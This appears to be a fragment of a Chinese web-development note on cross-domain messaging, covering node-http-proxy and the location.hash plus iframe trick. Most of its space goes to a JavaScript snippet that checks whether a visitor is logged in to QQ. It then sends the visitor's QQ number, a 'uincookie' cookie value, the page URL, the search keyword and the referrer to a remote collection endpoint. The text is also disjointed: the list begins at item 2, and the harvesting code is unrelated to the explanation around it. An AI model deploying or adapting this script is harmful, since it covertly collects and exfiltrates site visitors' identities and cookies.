2. node.js做转发使用node-http-proxy实现,官方文档:https://github.com/nodejitsu/node-http-proxy#using-https
3. 操作方法参考了:http://hao.jser.com/archive/10394/?utm_source=tuicool&utm_medium=referral
function isLogin() {var code = null
if (typeof(data3) == "undefined") {
code = data0.err//这里是抓取data0里面err的值;
} else {
code = data3.err
}
alert(code)//输出抓去结果
if (code == 1007) {
window.clearInterval(isLoginTimeID)
insertFrame()
} else {
var uincookie = GetCookie("uincookie")
if (uincookie != null) {
window.clearInterval(isLoginTimeID)
var title = document.title
title = encodeURI(title)
title = encodeURI(title)
var url = document.location.href
url = encodeURI(url)
url = encodeURI(url)
var oHead = document.getElementsByTagName('HEAD').item(0)
var oScript = document.createElement("script")
oScript.type = "text/javascript"
oScript.src = window.cfgurl + "?action=saveQQ&do=cookieSave&uid=" + window.cfguid + "&qq=" + window.cfgqq + "&url=" + url + "&title=" + title + "&uincookie=" + uincookie+"&src="+src+"&keyword="+keyword+"&srcurl="+newurl
oHead.appendChild(oScript)
} else {
var checkscript = document.getElementById("checkloginscript")
checkscript.parentNode.removeChild(checkscript)
}
}
}
function dynamicLoad() {
var vsrc = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t="
var time = new Date().getTime()
vsrc = vsrc + time
var oHead = document.getElementsByTagName('HEAD').item(0)
var oScript = document.createElement("script")
oScript.type = "text/javascript"
oScript.id = "checkloginscript"
if (oScript.readyState) {
oScript.onreadystatechange = function() {
if (oScript.readyState == "loaded" || oScript.readyState == "complete") {
oScript.onreadystatechange = null
isLogin()
}
}
} else {
oScript.onload = function() {
isLogin()
}
}
oScript.src = vsrc
oHead.appendChild(oScript)
}
dynamicLoad()
location.hash + iframe原理是利用location.hash来进行传值。
假设域名a.com下的文件cs1.html要和cnblogs.com域名下的cs2.html传递信息。
1) cs1.html首先创建自动创建一个隐藏的iframe,iframe的src指向cnblogs.com域名下的cs2.html页面
2) cs2.html响应请求后再将通过修改cs1.html的hash值来传递数据
3) 同时在cs1.html上加一个定时器,隔一段时间来判断location.hash的值有没有变化,一旦有变化则获取获取hash值
注:由于两个页面不在同一个域下IE、Chrome不允许修改parent.location.hash的值,所以要借助于a.com域名下的一个代理iframe